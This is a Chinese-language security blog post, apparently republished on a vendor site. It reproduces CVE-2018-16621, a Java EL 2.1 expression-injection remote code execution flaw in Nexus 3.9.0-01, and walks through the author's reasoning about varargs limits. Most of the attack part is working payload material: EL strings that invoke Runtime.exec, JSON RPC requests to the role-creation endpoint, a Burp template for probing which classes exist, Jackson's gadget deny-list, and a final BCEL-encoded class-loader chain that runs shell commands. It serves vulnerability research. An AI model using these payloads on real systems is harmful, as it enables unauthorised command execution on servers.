长亭百川云 - 文章详情

java el 2.1 表达式注入payload(复现上古版本nexus rce)

CT Stack

48

2022-03-18

简介

https://zh.wikipedia.org/zh/%E7%BB%9F%E4%B8%80%E8%A1%A8%E8%BE%BE%E5%BC%8F%E8%AF%AD%E8%A8%80

Java统一表达式语言(英語:Unified Expression Language,简称JUEL)是一种特殊用途的编程语言,主要在Java Web应用程序用于将表达式嵌入到web页面。Java规范制定者和Java Web领域技术专家小组制定了统一的表达式语言。JUEL最初包含在JSP 2.1规范JSR-245中,后来成为Java EE 7的一部分,改在JSR-341中定义。

网上流传的el 表达式注入 poc

1//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
2${pageContext}
3
4//获取Web路径
5${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
6
7//文件头参数
8${header}
9
10//获取webRoot
11${applicationScope}
12
13//执行命令
14${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}
15
16${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('calc')}
17
18${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")}

构造 远程 rce 有两种方式:

  • 反射 invoke 调用 java.lang.Runtime exec

  • 反射 newInstance 创建javax.script.ScriptEngineManager 脚本引擎

java el 2.1(复现 nexus3:3.9.0-01 CVE-2018-16621 )

以下内容来源于 复现 nexus3:3.9.0-01 CVE-2018-16621 的过程

docker 一行启动 nexus3:3.9.0-01 环境

docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3:3.9.0-01

el 2.1 表达式 不支持 可变参数方法

上面流传的 payload 其实并不能覆盖全部场景,事实上并不兼容 java el 2.1 的语法;(上古代码连payload 都跑不通

查询资料的过程中找到一个7年前的问题,有且仅有一个回答。

No, it is not possible to use variable arguments in EL method expressions, let alone EL functions. Your best bet is to create multiple different named methods with a different amount of fixed arguments.

https://stackoverflow.com/questions/15560508/invoke-method-with-varargs-in-el-throws-java-lang-illegalargumentexception-wron

在复现 sonatype/nexus3:3.9.0-01 版本的 CVE-2018-16621 过程中,发现依赖的el 引擎 javax.el-api/2.2.5 代码中直接忽略了 m.isVarArgs() 情况下的参数构建,

导致可变参数方法不可传参 只能 method() 调用

1// repository/javax/el/javax.el-api/2.2.5/javax.el-api-2.2.5-sources.jar!/javax/el/BeanELResolver.java    
2private Object invokeMethod(Method m, Object base, Object[] params) {
3
4        Class[] parameterTypes = m.getParameterTypes();
5        Object[] parameters = null;
6        if (parameterTypes.length > 0) {
7            ExpressionFactory exprFactory = getExpressionFactory();
8            if (m.isVarArgs()) {
9                // TODO
10            } else {
11                parameters = new Object[parameterTypes.length];
12                for (int i = 0; i < parameterTypes.length; i++) {
13                    parameters[i] = exprFactory.coerceToType(params[i],
14                                                           parameterTypes[i]);
15                }
16            }
17        }
18        try {
19            return m.invoke(base, parameters);
20        } catch (IllegalAccessException iae) {
21            throw new ELException(iae);
22        } catch (InvocationTargetException ite) {
23            throw new ELException(ite.getCause());
24        }
25    }

复现 rce

在当前 nexus3:3.9.0-01 javax.el-api/2.2.5 条件下

尝试流传的通用payload

invoke 可变参数 invoke(Object obj, Object... args) 这里显然完全不可用

只看使用 newInstance() 无参构造出一个 类实例

  • 尝试反射 newInstance 创建javax.script.ScriptEngineManager 脚本引擎

    1{"action":"coreui_Role","method":"create","data":[{"version":"","source":"default","id":"11","name":"1111","description":"1","privileges":[],"roles":["${''.class.forName('javax.script.ScriptEngineManager')}"]}],"type":"rpc","tid":19}

    可惜报错找不到 class java.lang.ClassNotFoundException: javax.script.ScriptEngineManager not found by javax.el-api [93

目前两条路都断了。。。

柳暗花明又一村

首先目前el 2.1 表达式可以实现的功能:

  • newInstance() 无参构造一个类实例
  • 调用对象 非可变参数的方法

仔细想想是不是有点像 java 反序列化的利用链,java 反序列 利用大多是通过创建一个类,在类的构造函数 setter getter 方法里做文章

比如 fastjson 的payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit"," "autoCommit":true}

这里就是创建了一个com.sun.rowset.JdbcRowSetImpl 的对象,依次调用 setDataSourceNamesetAutoCommit 方法触发lookup jndi,导致 rce

el 表达式除了只能无参构造类对象外, 能执行的方法可是比反序列更多,理论上大部分反序列的利用链都可以直接使用。

这里最初想直接调用 javax.naming.InitialContext lookup 利用 jndi 的 ,可惜也是 java.lang.ClassNotFoundException

现在寻找rce的路径就变成了,找到一个可用的恶意类,调用触发方法。

  • 寻找 恶意类

    jackson 代码里的恶意 class

    (这里本来想找fastjson 的恶意利用链,可惜fastjson 代码没有明示黑名单,而且黑名单有些没有定位到具体的类,找起来有点麻烦,放弃)

    https://github.com/FasterXML/jackson-databind/blob/master/src/main/java/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java

    1static {
    2        Set<String> s = new HashSet<String>();
    3        // Courtesy of [https://github.com/kantega/notsoserial]:
    4        // (and wrt [databind#1599])
    5        s.add("org.apache.commons.collections.functors.InvokerTransformer");
    6        s.add("org.apache.commons.collections.functors.InstantiateTransformer");
    7        s.add("org.apache.commons.collections4.functors.InvokerTransformer");
    8        s.add("org.apache.commons.collections4.functors.InstantiateTransformer");
    9        s.add("org.codehaus.groovy.runtime.ConvertedClosure");
    10        s.add("org.codehaus.groovy.runtime.MethodClosure");
    11        s.add("org.springframework.beans.factory.ObjectFactory");
    12        s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
    13        s.add("org.apache.xalan.xsltc.trax.TemplatesImpl");
    14        // [databind#1680]: may or may not be problem, take no chance
    15        s.add("com.sun.rowset.JdbcRowSetImpl");
    16        // [databind#1737]; JDK provided
    17        s.add("java.util.logging.FileHandler");
    18        s.add("java.rmi.server.UnicastRemoteObject");
    19        // [databind#1737]; 3rd party
    20//s.add("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); // deprecated by [databind#1855]
    21        s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean");
    22        // [databind#2680]
    23        s.add("org.springframework.aop.config.MethodLocatingFactoryBean");
    24        s.add("org.springframework.beans.factory.config.BeanReferenceFactoryBean");
    25
    26// s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); // deprecated by [databind#1931]
    27// s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"); // - "" -
    28        // [databind#1855]: more 3rd party
    29        s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource");
    30        s.add("com.sun.org.apache.bcel.internal.util.ClassLoader");
    31        // [databind#1899]: more 3rd party
    32        s.add("org.hibernate.jmx.StatisticsService");
    33        s.add("org.apache.ibatis.datasource.jndi.JndiDataSourceFactory");
    34        // [databind#2032]: more 3rd party; data exfiltration via xml parsed ext entities
    35        s.add("org.apache.ibatis.parsing.XPathParser");
    36
    37        // [databind#2052]: Jodd-db, with jndi/ldap lookup
    38        s.add("jodd.db.connection.DataSourceConnectionProvider");
    39
    40        // [databind#2058]: Oracle JDBC driver, with jndi/ldap lookup
    41        s.add("oracle.jdbc.connector.OracleManagedConnectionFactory");
    42        s.add("oracle.jdbc.rowset.OracleJDBCRowSet");
    43
    44        // [databind#2097]: some 3rd party, one JDK-bundled
    45        s.add("org.slf4j.ext.EventData");
    46        s.add("flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor");
    47        s.add("com.sun.deploy.security.ruleset.DRSHelper");
    48        s.add("org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl");
    49
    50        // [databind#2186], [databind#2670]: yet more 3rd party gadgets
    51        s.add("org.jboss.util.propertyeditor.DocumentEditor");
    52        s.add("org.apache.openjpa.ee.RegistryManagedRuntime");
    53        s.add("org.apache.openjpa.ee.JNDIManagedRuntime");
    54        s.add("org.apache.openjpa.ee.WASRegistryManagedRuntime"); // [#2670] addition
    55        s.add("org.apache.axis2.transport.jms.JMSOutTransportInfo");
    56
    57        // [databind#2326] (2.9.9)
    58        s.add("com.mysql.cj.jdbc.admin.MiniAdmin");
    59
    60        // [databind#2334]: logback-core (2.9.9.1)
    61        s.add("ch.qos.logback.core.db.DriverManagerConnectionSource");
    62
    63        // [databind#2341]: jdom/jdom2 (2.9.9.1)
    64        s.add("org.jdom.transform.XSLTransformer");
    65        s.add("org.jdom2.transform.XSLTransformer");
    66
    67        // [databind#2387], [databind#2460]: EHCache
    68        s.add("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup");
    69        s.add("net.sf.ehcache.hibernate.EhcacheJtaTransactionManagerLookup");
    70
    71        // [databind#2389]: logback/jndi
    72        s.add("ch.qos.logback.core.db.JNDIConnectionSource");
    73
    74        // [databind#2410]: HikariCP/metricRegistry config
    75        s.add("com.zaxxer.hikari.HikariConfig");
    76        // [databind#2449]: and sub-class thereof
    77        s.add("com.zaxxer.hikari.HikariDataSource");
    78
    79        // [databind#2420]: CXF/JAX-RS provider/XSLT
    80        s.add("org.apache.cxf.jaxrs.provider.XSLTJaxbProvider");
    81
    82        // [databind#2462]: commons-configuration / -2
    83        s.add("org.apache.commons.configuration.JNDIConfiguration");
    84        s.add("org.apache.commons.configuration2.JNDIConfiguration");
    85
    86        // [databind#2469]: xalan
    87        s.add("org.apache.xalan.lib.sql.JNDIConnectionPool");
    88        // [databind#2704]: xalan2
    89        s.add("com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool");
    90
    91        // [databind#2478]: comons-dbcp, p6spy
    92        s.add("org.apache.commons.dbcp.datasources.PerUserPoolDataSource");
    93        s.add("org.apache.commons.dbcp.datasources.SharedPoolDataSource");
    94        s.add("com.p6spy.engine.spy.P6DataSource");
    95
    96        // [databind#2498]: log4j-extras (1.2)
    97        s.add("org.apache.log4j.receivers.db.DriverManagerConnectionSource");
    98        s.add("org.apache.log4j.receivers.db.JNDIConnectionSource");
    99
    100        // [databind#2526]: some more ehcache
    101        s.add("net.sf.ehcache.transaction.manager.selector.GenericJndiSelector");
    102        s.add("net.sf.ehcache.transaction.manager.selector.GlassfishSelector");
    103
    104        // [databind#2620]: xbean-reflect
    105        s.add("org.apache.xbean.propertyeditor.JndiConverter");
    106
    107        // [databind#2631]: shaded hikari-config
    108        s.add("org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig");
    109
    110        // [databind#2634]: ibatis-sqlmap, anteros-core
    111        s.add("com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig");
    112        s.add("br.com.anteros.dbcp.AnterosDBCPConfig");
    113
    114        // [databind#2642]: javax.swing (jdk)
    115        s.add("javax.swing.JEditorPane");
    116
    117        // [databind#2648], [databind#2653]: shiro-core
    118        s.add("org.apache.shiro.realm.jndi.JndiRealmFactory");
    119        s.add("org.apache.shiro.jndi.JndiObjectFactory");
    120
    121        // [databind#2658]: ignite-jta (, quartz-core)
    122        s.add("org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup");
    123        s.add("org.apache.ignite.cache.jta.jndi.CacheJndiTmFactory");
    124        s.add("org.quartz.utils.JNDIConnectionProvider");
    125
    126        // [databind#2659]: aries.transaction.jms
    127        s.add("org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory");
    128        s.add("org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory");
    129
    130        // [databind#2660]: caucho-quercus
    131        s.add("com.caucho.config.types.ResourceRef");
    132
    133        // [databind#2662]: aoju/bus-proxy
    134        s.add("org.aoju.bus.proxy.provider.RmiProvider");
    135        s.add("org.aoju.bus.proxy.provider.remoting.RmiProvider");
    136
    137        // [databind#2664]: activemq-core, activemq-pool, activemq-pool-jms
    138
    139        s.add("org.apache.activemq.ActiveMQConnectionFactory"); // core
    140        s.add("org.apache.activemq.ActiveMQXAConnectionFactory");
    141        s.add("org.apache.activemq.spring.ActiveMQConnectionFactory");
    142        s.add("org.apache.activemq.spring.ActiveMQXAConnectionFactory");
    143        s.add("org.apache.activemq.pool.JcaPooledConnectionFactory"); // pool
    144        s.add("org.apache.activemq.pool.PooledConnectionFactory");
    145        s.add("org.apache.activemq.pool.XaPooledConnectionFactory");
    146        s.add("org.apache.activemq.jms.pool.XaPooledConnectionFactory"); // pool-jms
    147        s.add("org.apache.activemq.jms.pool.JcaPooledConnectionFactory");
    148        
    149        // [databind#2666]: apache/commons-jms
    150        s.add("org.apache.commons.proxy.provider.remoting.RmiProvider");
    151
    152        // [databind#2682]: commons-jelly
    153        s.add("org.apache.commons.jelly.impl.Embedded");
    154
    155        // [databind#2688]: apache/drill
    156        s.add("oadd.org.apache.xalan.lib.sql.JNDIConnectionPool");
    157
    158        // [databind#2698]: weblogic w/ oracle/aq-jms
    159        // (note: dependency not available via Maven Central, but as part of
    160        // weblogic installation, possibly fairly old version(s))
    161        s.add("oracle.jms.AQjmsQueueConnectionFactory");
    162        s.add("oracle.jms.AQjmsXATopicConnectionFactory");
    163        s.add("oracle.jms.AQjmsTopicConnectionFactory");
    164        s.add("oracle.jms.AQjmsXAQueueConnectionFactory");
    165        s.add("oracle.jms.AQjmsXAConnectionFactory");
    166
    167        // [databind#2764]: org.jsecurity:
    168        s.add("org.jsecurity.realm.jndi.JndiRealmFactory");
    169
    170        // [databind#2798]: com.pastdev.httpcomponents:
    171        s.add("com.pastdev.httpcomponents.configuration.JndiConfiguration");
    172        
    173        DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);
    174    }
  • 判断目标环境可以找到的恶意class

    burp intruder 爆破下 判断 class 在目标中是否存在

    1{"action":"coreui_Role","method":"create","data":[{"version":"","source":"default","id":"11","name":"1111","description":"1","privileges":[],"roles":["${''.class.forName('$burp intruder here$')}"]}],"type":"rpc","tid":19}
  • com.sun.org.apache.bcel.internal.util.ClassLoader

目标环境 nexus3:3.9.0-01 javax.el-api/2.2.5 可以找到恶意class com.sun.org.apache.bcel.internal.util.ClassLoader

jackson 的payload 是调用 ClassLoader 的 loadClass方法 加载编码后的恶意class 导致rce

https://paper.seebug.org/543/

这里用el 表达式表述就是

1${''.class.forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$evalClass').newInstance()}

到这即完成了全部利用 加载恶意类,触发rce

最终 poc

eval.class

1
2import java.io.*;
3
4public class eval {
5    public eval() {
6
7    }
8
9    public String exec(String cmd) throws IOException {
10        StringBuilder stringBuilder = new StringBuilder();
11        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
12        String line;
13        while((line = bufferedReader.readLine()) != null) {
14            stringBuilder.append(line).append("\n");
15        }
16        String res = stringBuilder.toString();
17        return res;
18    }
19    public static void main(String[] args) {
20    }
21}

加载 eval 类,调用exec 方法

1${''.class.forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$I$7c$m$n_$A$Deval$$class$A$8dT$5bO$TQ$Q$fe$O$ddv$cb$b2$U$u$d7$827$f0$c2B$vU$f1$da$o$m$V$US$c1$80$c14$3em$b7$87$ba$a4$ddm$b6$5b$c2$3f$f2Uc$d2$gI$7c$f4$c1$9f$e2$8fP$e7l$97$5eB$8d$b6$e9$cc93$df$99$f9f$e6$9c$fe$f8$f5$f5$h$80$3bx$a9$60$Y$8b2$e2$K$fa$84$5e$92$91P$b0$8c$a4$Q$b7$VB$dcU$Q$c4$8a$C$J$f7$84$b8$_$80$P$c2x$u$f4$p$Z$8fe$a4$YB$ab$a6e$bak$M$Bm$e1$90A$ca$d8$F$ce0$945$z$be$5b$x$e7$b9$f3F$cf$97$c8$S$cd$da$86$5e$3a$d4$jS$ec$7d$a3$e4$be7$ab$U$p$cbO$f4R$9a$f6$fc$94$h$M$b7$b4$ec$b1$7e$a2$tK$baUL$k$b8$8ei$V$d3$L$XM$94$d3$u$XD$e8$k$ae$c1$aa$b7$da$ac$99$a5$Cw$Yb$X$40$be$8b$b0$91$7c$ed$e8$88$3b$bc$b0$cfu$P$3c$d5$E$9bvr$b3$cb$p$u$96$a82$ca$ecp$o$ael$9d$g$bc$e2$9a$b6U$95$n$9ce$dd$b4$Y$s$b4w$3d$K$Q$dd$d1$9d$o$j$h$ed$e1$a6$60$Hv$cd1$f8$b6$v$3a$d3$_$3a$b2$yP$wF$Qe$98$fc$L$7d$ca$d6$9b$x$95$7c$ee$d8$b1$w5$97Nq$bd$dc$f4$c9XU$f1$Ek$w$a6$b0$$cC$c5Sl$8aD$Z$n$9e$a9$d8$c2$b6$8a$e7x$c1$c0$U$V$3b$d8$W$b3$nF$M$c3m$k$7b$f9cn$b8TN$x$cf$5e$ab$l$M$pm$e0$7e$cdr$cd2U$a5$U$b9$db$da$8ck$9d3$f5$cd$d4$87$f9$7fL$ff$b5c$h$bcZMw$a5$f0$8d4KJ$d1Q$_5$ee$3cMw$p$e8$f8$94$d6$d3$n$G5$dav$f9$93$X$d60$f9$LYo$fecZ$cf$L$Z$d2$x$Vn$d1$9dL$fc$d7$Vn_$c1$b0k7M$98$c5$Q$3dL$f1$J$80$89$d9$93$i$a5$dd$KiF$3a$b8$d8$A$fbD$8b$3e$8c$91$U$8f$91$8c$f4$3ee$8c$d3Jm$820$81I$d2T$qb$84$Q$B$3e$pD_$ms$86$be$5c$D$81Wg$90rg$I$e6$be$m$U$afC$ae$p$dc$40$7f$D$can$a2$8e$81$5cJ$fa$8e$e8RL$aaC$8d$O$92x$fb$e1$f7$cf$a5$3a$o$a9$60$y$f8$b1$95$7e$da$L$a9$m$8c$Bb$3e$888$oH$R$ff$Nb$$$e8$ac5S$fat$c4j$g3D$x$8c4$$$e12E$99$c5$i$ae$e0$wU$ab$91$e7$g$fd$q$3a$j$m$fb$M$951Gg$q$c2_G$3fn$e0$a6$df$8b$b8W$g$3a$fb$Q$f2$Mc$j$3d$a0$ff$R$cc$7bZ$f3P$L$7f$A$f1$e1$81$9c$fb$E$A$A').newInstance().exec('ps')}

这里其实 com.sun.rowset.JdbcRowSetImpl 目标环境也可加载,但是 el 2.1 可能还有其他限制,实测中没法创建变量保存生成的对象,这里需要分别调用 setDataSourceName 和 setAutoCommit 就服务实现。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2